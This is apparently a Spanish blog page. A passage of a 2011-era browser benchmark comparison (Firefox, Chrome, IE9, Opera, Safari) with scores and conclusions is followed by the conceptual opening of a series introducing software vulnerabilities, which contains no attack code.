En el caso de Internet Explorer no es posible acceder a una versión más actual por desgracia, quitando las actualizaciones que ha ido añadiendo microsoft a IE9 en estos meses, desde actualizaciones de seguridad como de rendimiento. Es cierto que existe una Preview 2 de IE10, el problema que tenemos con la versión Preview de IE es que no se puede decir que sea realmente un navegador, sino prácticamente tan solo el chrome (no confundir aquí chrome con e navegador Chrome) de este. Es como si a Chrome o Firefox le suprimimos casi toda la interfaz, opciones, extras… y dejásemos tan solo una “ventana” a algunas web.

Por último, Safari posee ciclos intermedios. Así por ejemplo si en la comparativa anterior teníamos Safari 5.0.3 si recuerdo bien, en esta ocasión trataremos con Safari 5.1. Safari sí posee entre “” versiones de desarrollo, pero son más exactamente de Webkit y no tanto de Safari. De todos modos para la próxima ocasión intentaré usar la última Build de WebKit para Safari, aunque estas son un poco.. “sucias”.

Es por tanto que lo lógico es que encontrásemos mayores diferencias en Firefox, Chrome, Opera y Safari respecto a la comparativa pasada, ya que los resultados de IE9 a penas deberían de verse movidos.

Por tercera vez, la versión de Safari instalada está exenta de QuickTime por las razones ya explicadas en otras comparaciones. QT actúa de plugin para Safari para dotarlo de mayores prestaciones,  y por tanto este debe de ser suprimido. En la comparativa, se usan perfiles limpios, instalaciones limpias, sin complementos sin añadidos. De lo contrario podríamos instalar extensiones y complementos en Firefox o Chrome para obtener mejores resultados en los test de compatibilidades, y evidentemente no se trata de esto. Además, en esta ocasión se han añadido comparativas de consumo de RAM, CPU/GPU y energía, todos los cuales pueden verse muy afectados por complementos o extensiones de cualquier tipo. El único complemento que será instalado en todos los navegadores será Flash Player 11 b2 por cuestiones de necesidad.

 

Que Comparar

Esta no es la primera comparación de navegadores que se hace evidentemente, pero si en su día hice la primera, después la segunda y ahora la tercera, es porque la mayoría de todas las comparativas que he visto se ciñen tan solo a aspectos concretos del navegador. Unos tan solo hacen comparativas según el resultado de un test sintético, otros tan solo en un subconjunto de ellos. Incluso cuando se pudiesen hacer test para cada una de las partes de un navegador, existen otras cuestiones a valorar, como la compatiblidad, estabilidad, consumo de recursos… y por supuesto los “extras” que hacen del navegador la cara más visible del usuario en Internet: Extensiones, temas, sincronización, aplicaciones…

Evidentemente este no es más que otra comparatiba más. Posiblemente pueda aparecer alguien y decir que no soy riguroso por el número de test empleados en cada apartado, o que podría haber puntuado mejor de otro modo, o que no he tenido en cuenta otros parámetros o que… y de ya les digo que tienen toda la razón del mundo. Por riguroso que uno quiera ser, es evidente que en este mundillo es muy complicado cubrir absolutamente TODOS los puntos.

En esta ocasión se ha añadido el consumo de RAM y los tiempos de inicio en frío, amen de algunos test más. Por supuesto aun quedan cuestiones interesante que se comentarán en la conclusión, pero que posiblemente podamos incluir en futuras entregas, como por ejemplo el porcentaje de tiempo que cada núcleo pasa en estado C3 o más profundo.

 

 

Benchmark

En esta ocasión se han ampliado los test ejecutados, y se han unificado algunas gráficas A algunas de ellas se le incluirán la carga promedia de la CPU y GPU con idea de poder comparar también la eficiencia de cada navegador, cuestión que repercutirá a fin de cuenta en el consumo energético, esencial para dispositivos portátiles.

El consumo de RAM en contrapartida será comparado con test específicos, forzando a los navegadores a abrir primero 10 pestañas, para pasar luego a duplicar cada una de ella para obtener 20 pestañas en total. Por supuesto todos los navegadores abrirán las mismas, y también se verificará la estabilidad del navegador ante tal carga. Evidentemente se tendrán en cuenta TODOS los procesos dependientes de navegador, en el caso de Chrome todos los procesos chrome, en caso de Firefox plugins-container además del proceso principal, en caso de Safari…  Para las 10 Web usadas (duplicadas para el test de 20 pestañas) se han usado webs típicas que podría tener cualquier usuario a día de hoy: Bandeja de entrada de Gmail, Google Plus, Facebook, YouTube con un video de 320×240 cargado entero, la portada de DevianArt, la web del diario “El PAIS”, la Web del Marca, la bandeja de entrada de Windows Live Hotmail, la Web del Market de Android y la Web de la NASA.

La comparativa de tiempos de inicio serán contados siempre en un arranque en frío del equipo y abriendo por defecto la web de google: http://www.google.es.

Los resultados obtenidos por Peacekeeper (el total), ha sido modificado para incluir en él el peso de la sección de “Gráficos Complejos”. Cuando apareció Peacekeeper, no todos los navegadores soportaban Canvas (función de HTML5), y por tanto se decidió no incluir esta sección para la puntuación final, así especifica el propio Peacekeeper cuando está ejecutando dicha sección del test. Dicho esto, dado que absolutamente todos los navegadores soportan perfectamente esta función, la puntuación total de Peacekeeper será la media aritmética de las 6 secciones de este test.

Cada prueba puntuará de 1 a 5 cada navegador en función del resultado obtenido (1 para el navegador peor, 5 para el mejor), con el fin de poder hacer un “orden” de dichos navegadores al finalizar en función del número de puntos acumulados. Las versiones de 64 bits (Firefox e Internet Explorer) no contarán a la hora de puntuar para el resultado final, y se usarán tan solo como referencia. En caso de existir un empate, ambos obtendrán la misma puntuación.

Y como siempre, absolutamente todos los resultados serán ejecutados siempre en el mismo equipo, con instalaciones limpias de todos ellos, con el equipo reiniciado y haciendo el promedio de 3 ejecuciones de cada uno de los test/pruebas.

 

Sistema:

  • OS: Windows 7 Ultimate x64 SP1
  • CPU: Intel Core i7 920
  • RAM: 12GB DDR3 Triple canal
  • Video: nVidia GTX460 (Driver 280.26)
  • Resolución: 1920 x 1080, el navegador siempre maximizado

Navegadores:

 

Test:

  • Recursos
    • Tiempo de Inicio
    • RAM (10 y 20 páginas)
    • CPU/GPU reproduciendo contenido Full HD

 

 

Tiempo de Inicio

Una de las primeras sorpresas (negativa) ha sido sin duda alguna Chrome y Safari, que quedan relegadas a la penúltima y última posición respectivamente. Habría que determinar si esto es debido a Superfetch, aunque viendo los números obtenidos más adelante en cuanto a consumo RAM y comparándolos respecto a Opera, los resultados son interesantes

 

 

Consumo de RAM

Durante mucho tiempo se ha criticado duramente a Mozilla por el gran consumo de RAM de Firefox, lo curioso es que tanto en la prueba de 10 pestañas como en la de 20 pestañas, vemos que Firefox obtiene la segunda posición, mientras que Chrome queda relegada a último lugar (si quitamos las versiones de 64 bits). También es cierto no obstante que tanto Chrome como Internet Explorer usan procesos múltiples para mejorar el rendimiento y estabilidad, y ello conlleva un mayor consumo de RAM también

  • En ambos test, Safari provoca que su proceso” webkit2webprocess.exe” provoque una carga de la CPU de  17%-19%
  • En ambos test, en Safari es necesario refrescar algunas pestañas hasta 3 veces para poder visualizar la web

 

Video 1080p

Una cuestión interesante es la reproducción de contenido en HD a través del navegador, un buen identificador del consumo energético del equipo. Cuanto menor uso de CPU/GPU tenga el navegador, menor consumo energético estará teniendo, importantísimo en dispositivos portátiles. Por ahí he visto comparativas usando por un lado videos en Flash y por otro lado vídeos usando HTML5… el problema de este sistema es que los navegadores usan codec diferentes para esto (H264, WebM), lo cual implicaría realizar las pruebas con vídeos codificados de forma distinta. Es decir, no son una medida válida para comprar el rendimiento. Tan solo se puede comparar cuando es lo mismo. En caso de un vídeo en Flash es más sencillo, puesto que el vídeo usado en la comparación es siempre el mismo, en este caso el vídeo oficial en YouTube de “We are the World” con motivo de Haiti, en 1080p.

 

 

SunSpider

Un clásico de los Benchmark para medir el rendimiento en JavaScript del navegador. No obstante, debido al gran salto cualitativo de los navegadores en este aspecto, SunSpider ha ido perdiendo “valor” a favor de otros test, y también por no escenificar la “vida real” que tendrá después un navegador. Por otro lado, los márgenes se han vuelto sumamente pequeños entre los diferentes navegadores, por poner un ejemplo IE posee el mejor tiempo con tan solo 209 ms, pero lo distancia de Firefox por 4 ms.

 

 

V8

 Google se percató que SunSpider (creado por Apple principalmente) dejaba de ser un test “vistoso” de cara a la competencia, a fin de cuenta las diferencia entre navegadores son como mucho de unas decenas de milisegundos. Así se creó V8, un test para medir a priori el rendimiento del motor JS de Chrome, que también se llama V8. El problema con V8 es que es muy dependiente de Google, es decir, es un test sintético creado fundamentalmente para Chrome, lo cual hace que Chrome reviente literalmente a sus competidores. No obstante, no deja de ser un test más, interesante también porque pone en evidencia tanto los mejores puntos de algunos navegadores como los peores.

 

Kraken

En respuesta a V8 de Google, Mozilla tomó el estilo y alguno de los test de SunSpider y creó un test sintético mucho más riguroso que SunSpider, y por supuesto mucho más “real” de cara a la navegación de los usuarios. Por supuesto es todo subjetivo, pero si es cierto que Kraken es otro de los test de obligado paso para poner a prueba los motores JS de los navegadores

 

JSNES

Con la llegada de HTML5 y los cada vez más potentes motores JS (o al menos según lo que indicaban los test sintéticos), se abría la puerta a la creación de infinidad de aplicaciones y juegos de todo tipo que hacían un uso extensivo de JS. Anteriormente esto habría sido de todos modos imposible, dado el pobre rendimiento que se tendría… pero a día de hoy esto ya tampoco es una excusa. Así lo demostró el emulador de SNES creado en JavaScript

  • Tanto Safari como Internet Explorer aunque obtienen aparentemente buenos resultados, SALTAN frames, lo que produce que el juego de saltos constantes aun cuando trabaja a 54-56 fps. Un antiguo truco para obtener un framerate superior al que pueden manejar en realidad

 

Biolab

Un excelente ejemplo de lo que es capaz de hacer JS en conjunción de HTML5 gracias a Canvas. No obstante, aunque sin duda alguna es un gran ejemplo, prácticamente todos los navegadores han llegado a la cima de este test, y por tanto el test deja de ser útil. Así pues, esta será la última vez que veamos Biolab en acción, el cual será sustituido posiblemente por una aplicación de representación del ADN que me ha gustado mucho.

 

  • Safari no puede cargar el juego, no es compatible por alguna razón

 

 

Asteroids

 Un test que se hizo relativamente famoso por ser un “Firefox Killer”. Pero esta misma característica lo hace interesante desde el punto de vista de los propios programadores y desarrolladores, que permiten intentar pulir aquellas partes de rendimiento donde más sufren sus navegadores. Aunque hace uso de la aceleración hardware, es mucho más dependiente del código JS que ejecuta.

 

Normal Mapped Photos

Un nuevo test para mostrar la eficiencia de JS y HTML5 del navegador. En este caso no es un juego, sino una aplicación, y pese a lo que aparenta, no es un test para comprobar la capacidad gráfica del navegador, sino de JS. Es muy interesante de cara a los resultados obtenidos, puesto que cambia la tendencia de que Chrome aparenta ser el más rapido en JS o IE en cuanto a gestión gráfica. Podríamos pensar que los resultados dependen en gran medida del soporte hardware para la aceleración gráfica, pero IE que es la estrella en ello queda muy por detrás de Firefox o Chrome, este último que posee un rendimiento muy pobre en la aceleración por hardware en comparación con Firefox o IE

 

Peacekeeper

Es un test sintético que mezcla varios elementos, parte JS, parte manejo de cadenas, parte gráficos, parte objetos DOM. En esencia es un test bastante interesante porque intenta dar una perspectiva general del rendimiento del navegador. En contrapartida, ha sido un test muy criticado por explotar con fines mediáticos la fortaleza y debilidades de los navegadores. Pero de nuevo, no deja de ser un buen indicador. Interesante sin duda alguna es la puntuación en este caso de Opera, que obtendría la primera posición. Podemos decir que prácticamente todos los navegadores tienen su “test” ideal.

 

Tanque de peces (2000 peces)

El test original de Microsoft usa un máximo de 1000 peces. Lo bueno de este tipo de test es que es fácilmente escalable, y dado que 1000 paces no son un indicativo muy bueno (algunos de los navegadores llegan fácilmente a los 60 fps), se hace que el test represente 2000 peces. Con 2000 peces, este test hace buen uso de las capacidades gráficas del navegador y de la aceleración por hardware de este, tanto para la composición como para la renderización. Con la incorporación del uso de la CPU/GPU podemos ver además la eficiencia

 

 

“Come-Cocos” (Browse Hunt)

Siendo teóricamente un test fuertemente gráfico, deja de manifiesto problemas de rendimiento de algunos navegadores que incluso poseen aceleración por hardware como pueda ser Firefox. Mientras que Internet Explorer x64 logra el tope de los 60 fps, el resto de navegadores se encuentran muy lejos de lograr tal azaña.

 

 

 

 “Letras” (SpeedReading)

Uno de mis test favoritos para medir el rendimiento puro y duro de la aceleración por hardware de contenido del navegador. Este test deja bien claro que navegador posee aceleración por hardware de contenido, quien no y quien la implementa mejor

 

  • La versión de 64 bits de Firefox no ha aparecido pro alguna extraña razón. Los resultados eran: 6 segundos, 2% CPU y 22% GPU

 

Psicodélico

Otro buen ejemplo de lo importante que puede resultar la aceleración por hardware en el navegador. Aunque este test en particular es de Microsoft, Mozilla tiene otro muy similar, y otros tantos existen por al web

 

 Webvizbench

Nuevo test introducido en esta edición. En este caso se trata de un benchmark dependiente sobre todo de la aceleración hardware de composición (no de contenido. De composición siempre influye menos), pero un fuerte componente JavaScript. Ninguno de los navegadores es capaz de mantener un framerate de 60 (recordemos que estamos siempre en 1080p). Este benchmark es interesante porque muestra como el navegador es capaz de aplicar diferentes efectos CSS, superposiciones rápidas de imágenes, transiciones…

 

 Pecera (1500 peces)

Benchmark parecido al tanque de peces, pero usa un modelo diferente a la hora de mostrar los peces en pantalla. Es más escalabre y hasta hace poco era otro test famoso por ser otro “Firefox Killer”, la paradoja es que ahora es al contrario. Este test hace uso extensivo tanto de la aceleración hardware de composición como de conteido.

 

 

“Campo de Pruebas” (Field Test)

 Es el único benchmark actualmente para WebGL, pero también es cierto que actualmente tan solo Chrome y Firefox son compatibles con esta tecnología, lo que hace un poco absurdo sobrecargar la comparativa con más test WebGL. En la medida que el soporte WebGL crezca (tanto Opera como Internet Explorer están trabajando en ello) será más interesante ver como luchan en otros test. Aun así es útil para comparar la mejora de rendimiento entre las versiones de los mismos navegadores, por ejemplo el resultado obtenido con Firefox 4 Vs Firefox 9 (ya que Chrome mantiene los 60 fps). Es importante también mirar la carga de la CPU y la GPU.

  • El test parece establecer un framerate máximo de 60 fps, pero por alguna extraña cuestión Firefox anula dicho límite. Se tomará en cuenta como 60 fps a fin de cuentas.

 

Test de compatibilidad HTML5 de Niels y WebGL de Khronos

Como ya se ha dicho otras veces, no solo de velocidad vive el hombre, y es necesario que un buen navegador cumpla con los estándares más actuales, incluso muchos de ellos que aun no serán oficiales hasta dentro de unos años, como es el caso de HTML5. En contrapartida, WebGL es una especificación ya oficial, y Khronos (la misma organización que gestiona/crea/encargada de OpenGL/WebGL/WebCL…) tiene su propio test de compatibilidad con WebGL.

El test de compatibilidad de Niels es bastante riguroso e interesante, y es usado en muchísimas comparativas para decidir si X navegador es más compatible que Y. Pero ojo, Niels tan solo mira por HTML5!! HTML5 no es el único estándar emergente, y por ello usaremos más adelante la suite de Microsoft para completar los test de compatibilidad

 

  •  El test de Niels se basa actualmente sobre 450 puntos máximos.
  • El test de Khronos completo son unos 7400 pruebas diferentes a pasar.

 

IE Center Testing

Este site de Microsoft nos muestra una tabla con los resultados que estos han obtenido supuestamente con los navegadores de la competencia. Hacen lo mismo que he hecho yo, solo que ellos tan solo comparan las versiones de los navegadores que les interesa. Por ejemplo, actualmente si accedemos al site veremos que es Firefox 6.0, Chrome 12, Safari 5.0.5 y Opera 11.11 los navegadores testeados, y los enfrenta todos ellos con IE10 preview. En cambio las versiones en desarrollo que estamos viendo son mucho más actuales, y de ahí la necesidad de volver a pasar todos los test de Microsoft (Y creerme, es un trabajo). Es paradójico, pero aquí se suprime IE 10 por las razones expuestas (no existe una beta o una versión Alpha que sea un navegador realmente)

 

 

Conclusiones

 Si valoramos cada navegador como se dijo al comienzo, los resultados serían por tanto los siguientes:

Resultados Firefox 9.0a x86 Chrome 15.0.865.0 IE 9 x86 Opera 12 (B1047) Safari 5.1
Inicio en Frío 4 2 5 3 1
Consumo de RAM 4 1 2 5 3
Reproducción Vídeo HD 4 2 5 3 1
SunSpider 4 3 5 2 1
V8 4 5 1 3 2
Kraken 4 5 1 3 2
JSNES 4 5 3 1 2
Biolab 5 5 3 4 2
Asteroids 2 4 5 1 3
Normal Mapped Photos 5 4 3 1 2
Peacekeeper 3 4 2 5 1
Taque de Peces 5 3 4 2 1
Come-Cocos 3 4 5 1 2
SpeedReading 5 3 4 2 1
Psicodélico 5 3 4 2 1
Webvizbench 4 3 5 2 1
Pecera 5 3 4 2 1
Campo de Pruebas 5 5 4 4 4
HTML5 y WebGL 4 5 1 3 2
IE Testing Center 5 4 3 1 2
Total: 84 73 69 50 35

 

 

  • Recursos

    Este era un apartado clave de esta comparativa. Cada día queremos más y más, pero no nos preguntamos el coste que esto posee. Esto lo hemos visto totalmente claro por ejemplo en el consumo de RAM, en el tiempo de inicio del navegador e incluso en muchos de los test en los que se incluía el consumo de CPU/GPU que tenían.

    Respecto al consumo de RAM los datos han sido reveladores. Opera ha sido el menos pesado y con un tiempo de apertura bastante decente, que aunque no llega a ser el mejor no se encuentra muy lejos. Incluso con 20 pestañas abiertas no muestra una carga en RAM excesiva. Firefox ha obtenido sorprendentemente un segundo lugar!! y esto es sorprendente porque existe el rumor muy extendido de que Firefox es el agujero negro del consumo de la RAM… con esto queda bastante claro que esto no es cierto, o al menos no es cierto del todo. Firefox es cierto que posee un consumo muy grande de RAM… cuando se usan montones de extensiones, al igual que le pasaría a cualquier navegador. Lo que sucede es que el usuario de Firefox suele tener infinitamente más extensiones y complementos que cualquier otro usuario de otros navegadores, bien porque no existen dichas herramientas o bien porque no las usan.

    Pero si Firefox ha sido la sorpresa por tener un segundo puesto, Chrome ha sido la oveja negra sin duda en este aspecto. Quitando las versiones de 64 bits, Chrome se lleva la palma en consumo de RAM, llegando prácticamente a los 2GB de RAM para 20 pestañas, y casi 1.1GB solo para 10. Evidentemente no significa que el usuario tenga que tener constantemente 20 pestañas abiertas, por supuesto, pero recordemos que aquí estamos ante perfiles limpios!! Imaginar que tenemos solo 5 pestañas pero unos cuantos complementos instalados… 2GB para 20 pestañas no es muy aceptable, cuando Opera abre las mismas 20 con tan solo la mitad de RAM.

    Chrome no solo se lleva la peor parte en cuanto a RAM, sino que también en cuento a uso de la CPU. En prácticamente todos los test, Chrome usa sensiblemente más CPU que el resto de los navegadores, que no sobrepasan el 13%. Esto en parte se entiende porque mi sistema posee 8 nucleos lógicos, 100/8 = 13 aprox. El problema es que al poseer un mayor uso de la CPU, consumirá sensiblemente más energía, que en un portátil se traduce en minutos de uso.

    El consumo de la GPU en el caso de IE, Firefox y Chrome es más o menos similar. Si es cierto que el uso de la GPU en Firefox es en algunas ocasiones algo más elevado que el resto de la competencia, lo cual por supuesto también repercute en un mayor consumo energético.

    Con todo esto podríamos decir que Chrome sería el navegador menos eficiente de todos, y que IE9 posiblemente el más eficiente.

     

  • Estabilidad

    Si bien es cierto que la última comparativa no estuvo exenta de problemas con los navegadores, en este caso todos los navegadores se han portado más o menos bien. No ha existido ningún cierre inesperado, error o problema de ningún tipo quitando un par de excepciones con Safari.

    La primera ha sido a la hora de abrir 10/20 pestañas en el navegador, lo que produjo de pronto un uso constante de 13-17% de la CPU (cuando lo normal sería 0%). A esto se le unía la necesidad de tener que actualizar reiteradamente algunas de las pestañas abiertas puesto que no se lograba visualizar el contenido.

    La segunda ha sido de nuevo al intentar de ejecutar Biolab, por alguna extraña razón no es posible, quizás por la falta de ¿QuickTime?

 

  • JavaScript

    Todos los navegadores han mejorado su rendimiento JS con respecto a la comparativa anterior. Quizás los dos cambios más sustanciales han sido por un lado el de Chrome respecto a Kraken, en el que ha reducido algo más de 3000 milisengundos!! y por otro lado Firefox en V8, que se ha visto aumentado unos 2000 puntos.

    Por supuesto, estos cambios no solo tienen repercusiones en los test sintéticos. Como se aprecia todos obtienen mejores resultados en los test sintéticos, pero esto se puede observar más adelante en las aplicaciones/juegos. Ejemplo de ello es Biolab, en el que prácticamente todos los navegadores obtienen un rendimiento perfecto.

    Una vez más y como era de esperar dado que IE9 no ha sufrido cambios sustanciales, la versión de 64 bits de este parece no tener habilitado el nuevo motor JS de Microsoft, lo que hace como vemos que su rendimiento quede a años luz del resto, obteniendo en cualquier test que sea muy dependiente de JS la última posición.

    Respecto a JSNES hay que decir que una vez más aunque Safari e IE9 obtienen un frame rate razonable, este es totalmente injugable debido a que etos navegadores saltan frames. Esto hace que en vez de ir lento (que sería lo esperado cuando se tiene un framerate bajo) experimente saltos constantes. Es una “trampa” para apuntar un alto FPS, pero el juego es totalmente imposible.

     

  • Gráficos

    Aunque sin duda alguna los ganadores han sido tanto IE9 como Firefox, la mayor sorpresa ha sido Chrome, que ha irrumpido por fin con soporte hardware para su navegador. Es cierto que el soporte que este posee no es comparable ni mucho menos al ya demostrado por IE9 o Firefox 9.0, pero es evidente que incluso con la implementación que tienen actualmente es infinitamente superior a Safari y Opera.

    Actualmente existe una versión de prueba de Opera con soporte hardware completo que apareció en Febrero. Desgraciadamente no solo se trata de una versión antigua de Opera, sino que además resultó ser totalmente un fracaso en cuanto estabilidad, errores, rendimiento… Esto no quiere decir que sea malo, y estoy seguro que pronto tendremos una nueva versión con soporte hardware mucho más madura. Sobre Safari no puedo decir nada, actualmente no posee soporte para hardware ni hay pensamiento de incluirlo, al menos de momento.

    Mozilla por su parte tampoco ha estado con los brazos cruzados, y se puede ver un incremento sustancial en los aspectos gráficos del navegador. Si Firefox 4.0 llegó a 37 fps en el campo de pruebas por ejemplo, ahora llega sin problema alguno a superar los 60 fps. Que no sea tan sustancial como de nada a todo no significa que incrementos de 20-50% del rendimiento sea poca cosa. No obstante Chrome si posee en WebGL una característica que Firefox no tiene implementada actualmente (aunque está de camino), que es Antialiasing en WebGL, lo que aumenta considerablemente la calidad de las figuras presentadas.

  • Estándares

    Todos los navegadores como era de esperar han mejorado sus compatibilidades. Para empezar, el propio test de Nielsen ha pasado ha puntuar ya sobre 450 puntos (creo que en la anterior era sobre 300), con lo que implica que se han introducido más test y actualizado otros.

    Respecto a WebGL, tanto Firefox como Chrome han aumentado considerablemente el soporte para este, llegando prácticamente a alcanzar la confiabilidad del 100%, siendo Chrome algo más competitivo que Firefox. Microsoft ya advirtió que WebGL aunque es un buen estándar sufre de problemas de seguridad, los cuales por supuesto se han tenido en cuenta por Google o Mozilla. Queda aun por ver si Microsoft se decidirá por incluir WebGL en IE10 o si por le contrario tendremos que esperara a un IE 11. Opera en contrapartida, su navegador con soporte hardware que comentábamos en el punto anterior era compatible con WebGL. Esto quiere decir que es solo cuestión de tiempo para que aparezca el soporte para su navegador, aunque sí hay que decir que llegan tarde. Apple por su parte comienza a añadir poco a poco algunas piezas de WebGL en las build de WebKit, pero aun muy preliminar y tan solo para MAC OS

    En cuanto al IE test center, Chrome se ha quedado esta vez muy cerca de Firefox, aunque posiblemente en cuanto aparezca la beta de IE 10 los chicos de Microsoft actualicen de nuevo el IE test center con montones de nuevos test no compatibles para el resto de los navegadores… a fin de cuenta es evidente que dicho site aparece precisamente para IE.

    Otra función interesante que ya tenemos tanto en IE, en Chrome y en Firefox es Web Timming, que permitirá medir prácticamente todos los tiempos de una web. Pero de esto se hablará en otro momento, por ahora decir que en el mundo de los navegadores nadie se está quieto.

 

  • Compilaciones x64

    En general podemos decir que el soporte x64 para Firefox está empezando a ser casi a la par que su versión de 32 bits. Si es cierto que el motor JS no está optimizado totalmente para 64 bits, vemos pocas diferencias. En todos los test prácticamente la versiond e 32 bits de Firefox está pegada a la versión de 64 bits, siendo a veces una la mejor, siendo otras veces la otra. En general, el rendimiento JS de la versión de 64 bits es aun algo inferior, pero suele tener un mayor rendimiento en gráficos.

    Por parte de IE el panorama es muy diferente. De nuevo la versión de 64 bits de Microsoft es un desastre en tanto y cuanto JS se refiere, o al menos en comparación con su versión de 32 bits. Gráficamente es algo mejor generalmente, pero si bien la versión de 64 bits de Firefox sería a día de hoy estable y muy a la par que su versión de 32 bits (se espera que con el tiempo la versión de 64 bits sea más rápida), en caso de IE9 no sale muy “rentable” hacer uso de la versión de 64 bits.

Seguridad: Vulnerabilidades. Capítulo Primero -> Introducción al mundo de las Vulnerabilidades

ATENCION: Los ejemplos que se van a mostrar y “tutoriales” tan solo tienen carácter educativo. En ningún aspecto comparto filosofías de invasión a la intimidad, ataques contra un sistema informático o cuestiones similares. En la medida que sea posible siempre se usarán ejemplos y formas que puedan ser usados por cualquier persona, de forma que pueda verificar los contenidos escritos. No obstante, por motivos más que obvios, materiales como contraseñas, nombres de usuarios o de hosts, serán omitidos o modificado en las capturas de pantallas realizadas (o las lineas escritas). Es decir, los ejemplos serán completamente reales, los datos mostrados a vosotros necesarios para poder pertrechar estos ejemplos no siempre lo serán (Sí lo serán los resultados). Para que esto conste de forma clara, todo material sensible modificado o falso estará resaltado en ROJO. Por motivos de seguridad, todo el material que sea expuesto aquí (exceptuando software propietario o libre, citaciones expresas o código de terceros) tanto texto, imágenes y código son propiedad del autor y está completamente prohibido su reproducción completa o parcial en otros lugares, espero que se comprenda.

 

Introducción al mundo de las Vulnerabilidades

 

Antes de entrar realmente en la materia específica, es necesaria una pequeña introducción sobre el mundo de las vulnerabilidades, conocimientos básicos que posteriormente se usarán constantemente a la hora de ver las diferentes vulnerabilidades que podemos encontrar. Y es que de eso es de lo que vamos a tratar en todo este tema: Las vulnerabilidades más comunes que existen a día de hoy en el mundo de la tecnología en general y de la informática en particular, de cómo el verdadero hacker hace uso de estas para causar auténticos estragos allí donde aparecen.

Vamos a intentar dividir este pequeño capítulo en algunas secciones para tener más o menos claro de lo que vamos a ver:

  • Que es una vulnerabilidad y que no.
  • Tipos de vulnerabilidades y sus efectos: Ejecución arbitraria de código, Denegación de servicio (DoS), Acceso a información restringida
  • Como evitar o protegerse contra estas amenazas: Actualizaciones, Firewalls, ASLR, DEP, SEHOP, Otros…

 

Que es una vulnerabilidad.

 

Es curioso que aunque las vulnerabilidades son sin duda alguna el mayor peligro para un usuario o entidad (empresa, organización…), son de las que menos se hablan o menos información parece existir. Cualquiera acude a Google, lanza una petición sobre un virus concreto y casi de inmediato le aparecerán cientos de webs con múltiples soluciones para la eliminación de dicho malware. Pero en cambio, tienes que irte a sites muy concretos en los que se comentan o hablan de fallos de seguridad por ejemplo. Es más, si a un usuario doméstico le preguntas si sabes que es un virus, te dirá posiblemente que no solo sabe lo que es, sino que en alguna ocasión le jugó una mala pasada en su equipo, haciendo que este fuese a lo mejor más lento, o recibía publicidad indiscriminada en su propio escritorio de Windows, o usaba su cuenta de correo para enviar Spam. Y si le preguntas si sabe algo de fallos de seguridad en sus programas o si alguna vez ha tenido algún problema con algún exploit? Posiblemente no sea capaz siquiera de saber de qué se le está preguntando.

Hay que dejar bien claro desde el principio que un malware (Virus, troyano, gusanos…) no es una vulnerabilidad, no es un fallo de seguridad de un programa o un software, no es una puerta abierta que se ha dejado abierta de forma premeditada o accidental. Un malware como ya se vio, no es más que un programa informático, que como tal está programado para realizar una serie de acciones. Lo que diferencia un malware a un programa normal y corriente es que su finalidad es la de realizar lo que podríamos llamar acciones “malignas”, engañando al usuario al que se le implantará y en la medida de lo posible sin que este sepa que el malware está en su dispositivo. Por tanto, como cualquier programa, sufre de sus ventajas y sus inconvenientes. Como cualquier programa, un malware se encuentra con las limitaciones de tales!! Para que un programa se ejecute necesita antes o después de la intervención directa del usuario (como veremos más adelante esto no es del todo cierto cuando hay exploits por medio). El malware continuará ejecutándose en el dispositivo hasta que este programa sea detenido al igual que cualquier otro programa que exista. Simplemente la habilidad de estos programadores, hace que estos malware sean más o menos astutos y sepan esconderse mejor o peor. Pero como he dicho no dejan de ser eso, programas diseñados con ese fin.

Una vulnerabilidad por el contrario no es en modo alguno un programa, aunque muchas de ellas se suelen crear precisamente en la creación de otros programas. Una vulnerabilidad es un fallo generalmente en un software que hace que este sea susceptible a un ataque de algún tipo, para lograr en este un comportamiento anómalo. He dicho que es un fallo generalmente en un software, pero esto no es exclusivo del softwar, un protocolo puede ser igualmente vulnerable si se demuestra que la teoría que hay detrás por ejemplo tiene fallos que pueden ser utilizados. Un ejemplo de vulnerabilidad no relacionada directamente con el software es por ejemplo la encriptación RSA, el cual se basa precisamente en la imposibilidad de obtener de forma rápida la factorización de un número gigantesco que ha sido formado por la multiplicación de dos números primos grandes. Esto a la vez de ser en lo que se basa RSA para su seguridad, es también su vulnerabilidad, ya que teóricamente es posible factorizar cualquier número no primo, simplemente limitado al tiempo requerido para ello… puede que la seguridad RSA sea actualmente inquebrantable, pero teóricamente es totalmente factible, y si los ordenadores cuánticos llegan a ser una realidad, RSA dejará de ser viable tal y como lo conocemos a día de hoy.

De todos modos, aquí tan solo vamos a tratar las vulnerabilidades del software, no las que pudiesen afectar a protocolos o sistemas, que en cierto modo ya han sido tratadas en otros temas, a fin de cuenta que se pueda realizar un Sniffing en una red gobernada por un Switch es posible a vulnerabilidades de los protocolos actuales. También hay que tener presente que muchas veces la existencia de vulnerabilidades es algo intrínseco e inevitable al propio software, mientras que otras veces el software es creado de tal forma y con el conocimiento de ciertas vulnerabilidades en post de una mayor usabilidad o nuevas funciones (por ejemplo). La mayoría de estas vulnerabilidades sin embargo, son “creadas” accidentalmente por los propios programadores de software o incluso por los propios compiladores. En cualquiera de los dos casos, el ser humano comete errores, y por eficiente, profesional o meticuloso que sea un programador, siempre habrá cuestiones que se le escapen, errores más pequeños o menos pequeños que al final puedan ser usados por un exploit. No existe el software perfecto, y cuanto más crece un proyecto de software más fácil es sacar a la luz sus fallos, por su complejidad y porque más programadores habrán estado trabajando en ello. A medida que los compiladores evolucionan y se mejoran las técnicas de programación, es cierto que los fallos de seguridad disminuyen enormemente, pero como ya se ha dicho, ningún proyecto medianamente complejo es invulnerable, solo tiene que aparecer alguien que es capaz de ver donde falla, por qué falla y como utilizar dicho fallo.

Pero… ¿Cuál es el peligro real de una vulnerabilidad de software? Si tomásemos al azar cualquier persona de la calle y le preguntásemos si sabe que es un fallo de software posiblemente nos respondería que un cuelgue, algún mensaje de error… o simplemente un comportamiento erróneo de dicho programa. Pero no todos los fallos de un software son una vulnerabilidad ni mucho menos. La vulnerabilidad existe en el momento que ese fallo de funcionamiento puede ser “dirigido” por un atacante a voluntad, haciendo que este pueda en cierto modo controlar dicho fallo y aprovecharse de él. ¿Pero como es posible usar un fallo en un programa para beneficiarse de él desde el punto de vista de un hacker? Bueno, no todos los fallos de un software producen fallos de seguridad, ni siquiera todos los fallos/vulnerabilidades son usables… de echo solo lo son la minoría. No obstante la premisa sí es simple.

